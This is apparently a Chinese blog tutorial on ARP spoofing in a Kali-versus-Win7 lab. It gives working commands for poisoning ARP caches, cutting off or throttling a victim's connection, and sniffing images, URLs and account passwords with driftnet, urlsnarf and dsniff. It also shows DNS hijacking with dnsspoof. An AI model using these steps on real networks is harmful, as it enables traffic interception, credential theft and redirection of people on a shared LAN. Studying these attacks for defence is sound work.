Bootstrap

ARP欺骗的各种玩法

ARP欺骗

定义

ARP欺骗(英语:ARP spoofing),又称ARP毒化(ARP poisoning,网络上多译为ARP病毒)或ARP攻击,是针对以太网地址解析协议(ARP)的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线

关于ARP的工作原理和ARP欺骗的原理,此处不再赘述,如果不懂的话网上有大量资料,这里推荐一个我认为讲解通透的视频ARP攻防

攻击手段

警告!!!下面介绍的所有的操作都是建立在ARP欺骗的前提下,使用什么工具来实现ARP欺骗是自己的事情,这意味着,下面介绍的ARP断网,限速,嗅探数据的各种操作也可以建立在ettercap、python上。

arpspoof

这款工具已经被kali移除,如果你的系统没有的话需要手动安装

sudo apt-get install dsniff

┌──(root💀kali)-[~]
└─# arpspoof -h                                                                                              1 ⨯
Version: 2.4
Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
根据帮助手册可以知道,-t表示受害者的ip,-r表示伪装的ip

双向毒化为:

arpspoof -t 192.168.40.140 -r 192.168.40.2
arpspoof -t 192.168.40.2 -r 192.168.40.140

ARP断网

使用arpspoof -t 192.168.40.140 -r 192.168.40.2即可欺骗win7的arp缓存表,导致win7不能上网,这也是大家最常用的ARP断网技术,win7之所以不能上网的原因是linux默认不转发数据,即,此时的kali不转发网关和win7之间的数据导致win7无法上网。这样做很容易被发现,可以改良一下做法。
在这里插入图片描述

限制网速

没想到吧,ARP还能限制对方网速。当我欺骗了网关和受害者的时候,受害者访问网络就需要经过我的网卡,那我限制自己网卡的速度或者转发的速度不就行了。这里可以使用的工具有tc、iptables、WonderShaper等等,由于后两者较为麻烦一些,我以tc为例,tc是通过限制网卡的速度来限制对方的,是一种杀敌一千自损八百的手段。
要实现限制网速,kali要先开启路由转发功能

cat /proc/sys/net/ipv4/ip_forward 			#值为0表示没开启流量转发,为1表示开启了
echo 1 > /proc/sys/net/ipv4/ip_forward	#开启流量转发
限制网速200ms延时
sudo tc qdisc add dev eth0 root netem delay 200ms
 
取消限制网速200ms延时
sudo tc qdisc del dev eth0 root netem delay 200ms

未开启限速,两者状态还算良好
在这里插入图片描述

开启限速之后,就不大好了【经过测试200延迟还是可以看在线视频的,300就不行了】
在这里插入图片描述

换个视角,看一下ping值
在这里插入图片描述

嗅探全部数据

要嗅探受害者的数据,就需要能让受害者正常通信,就需要kali开启转发数据功能

cat /proc/sys/net/ipv4/ip_forward 			#值为0表示没开启流量转发,为1表示开启了
echo 1 > /proc/sys/net/ipv4/ip_forward	#开启流量转发

这个时候win7会经过kali上网,kali也就可以抓取win7数据了。这个时候你会发现,wireshark抓到了一大堆数据包,很多还是加密的,跟网上说的wireshark轻松抓到邻居上网密码上网记录不大一样,没想到吧,这个时候我们就需要一个简单易读的工具。
在这里插入图片描述

这个工具就是driftnet。

嗅探图片

使用driftnet来嗅探图片,它可以展示流经网卡的图片,严格来说是把流经网卡的图片数据还原为图片,即win7上网看到的图片(还是挺鸡肋的,看不到别的)

  sudo apt install driftnet
  
  driftnet -help --获取使用文档
  语法: driftnet   [options]   [filter code]

  主要参数:
  -b 捕获到新的图片时发出嘟嘟声
  -i  interface     选择监听接口
  -f  file   读取一个指定pcap数据包中的图片
  -p  不让所监听的接口使用混杂模式
  -a  后台模式:将捕获的图片保存到目录中(不会显示在屏幕上)
  -m number 指定保存图片数的数目
  -d directory  指定保存图片的路径
  -x prefix  指定保存图片的前缀名

实时抓取图片
1:第一步,arp欺骗

arpspoof -t 192.168.40.140 -r 192.168.40.2

2:第二步,开启数据转发

echo 1 > /proc/sys/net/ipv4/ip_forward

3:第三步,driftnet实时抓取图片

driftnet -i eth0   #eth0是要抓的网卡

稀烂,还是一如既往的难用,没抓到图片
在这里插入图片描述

保存抓取下来的图片
操作同上,只不过改变一下driftnet的命令

driftnet -i eth0 -a -d /tmp/win7

嗅探访问的URL

webspy

使用webspy嗅探受害者访问了哪些网页。
前提步骤同“嗅探图片”,使用arpspoof开启欺骗,然后使用webspy来抓,但是这个工具还是依旧难用,只能抓取一次,然后自己就崩溃了,如图所示。

webspy -i eth0 192.168.40.140

在这里插入图片描述

urlsnarf【既能抓URL也能抓图片】

使用urlsnarf嗅探受害者访问了哪些网页,默认抓取80、8080、3128端口的数据。
前提步骤同“嗅探图片”,使用arpspoof开启欺骗,然后使用urlsnarf来抓,这个工具好用一些

urlsnarf -i eth0

在这里插入图片描述

嗅探账密

当网络中出现了填写账号密码的数据时,dsniff这款工具就开始截获数据,它的-m参数会解析网络协议。
前提步骤同“嗅探图片”,使用arpspoof开启欺骗,然后使用dsniff来抓。
注意,dsniff不会实时显示结果,当你在win7中输入quit的时候dsniff才会显示结果
在这里插入图片描述

dns欺骗

dnsspoof启用DNS欺骗,如果是请求解析某个域名,dnsspoof会让该域名重新指向另一个IP地址(黑客所控制的主机),如果dnsspoof嗅探到局域网内有DNS请求数据包,它会分析其内容,并用伪造的DNS响应包来回复请求者。
由于dns查询是客户机向网关发起请求,所以我们如果要在局域网中实现DNS欺骗,仍然是需要先做到arp欺骗。
在这里插入图片描述

参数:
-i 指定一个网卡
-f 指定要欺骗的网址文件,如果不指定,将返回本机的IP地址给被攻击者

这里我们的计划是,当受害者访问百度的时候会被我们劫持
1:编辑dnsspoof的配置文件

updatedb	#更新一下locate的数据库
locate dnsspoof.host	#使用locate命令定位文件位置

在这里插入图片描述
在这里插入图片描述

2:kali上开启apache服务,让受害者可以访问到页面

systemctl start apache2.service

3:发起DNS欺骗

dnsspoof -i eth0 -f /usr/lib/x86_64-linux-gnu/dnsspoof.hosts

-i参数指定网卡,-f调用配置文件,然后kali机会监听eth0网卡中发往udp53端口的数据包,注意啊,是监听网络中目标端口是53的数据包,不是本地监听了一个53端口。
在这里插入图片描述

;